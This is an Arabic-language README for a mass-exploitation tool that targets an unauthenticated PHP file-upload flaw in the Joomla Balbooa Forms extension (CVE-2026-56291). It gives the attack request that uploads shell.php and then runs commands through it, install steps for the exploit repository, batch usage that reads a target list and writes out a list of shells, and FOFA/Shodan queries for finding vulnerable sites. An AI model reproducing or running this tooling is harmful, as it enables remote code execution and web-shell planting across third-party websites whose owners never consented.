نظرة عامة

CVE-2026-56291 هي ثغرة حرجة (CVSS 9.8) تسمح برفع ملفات تعسفية دون مصادقة في امتداد Joomla الخاص بـ Balbooa Forms (com_baforms) (الإصدارات < 2.4.1).

لا تستدعي مهمة الواجهة الأمامية form.uploadAttachmentFile الدالة Session::checkToken() ولا تجري أي فحص للصلاحيات. تستخدم الملفات المرفوعة امتداد المهاجم مباشرة: $fileName = $name . '.' . $ext. تُخزَّن الملفات في images/baforms/uploads/form-{id}/ — وهي قابلة للتنفيذ المباشر كـ PHP.

الإصدارات المتأثرة

الإصدار	الحالة
1.0 – 2.4.0	متأثر
2.4.1+	مصحّح

CISA KEV: أُضيف في 10 يوليو 2026 — تم تأكيد الاستغلال النشط.

آلية الثغرة

السبب الجذري

// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext;  // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);

خطوات الهجوم

POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
  file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE

التثبيت

git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt

الاستخدام

python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup

FOFA / Shodan

FOFA:   body="com_baforms"
Shodan: http.html:"baforms"

المراجع

المصدر	الرابط
CISA KEV	cisa.gov/known-exploited-vulnerabilities
تفاصيل الإصلاح	mysites.guru
الباحث	Phil Taylor

_{غير تابع لـ Balbooa.}

CVE-2026-56291

الأكثر شعبية

CVE-2026-56291 — استغلال Balbooa Forms في Joomla للتنفيذ الجماعي عن بُعد (Mass RCE)

قبل المصادقة: form.uploadAttachmentFile → بلا CSRF → رفع PHP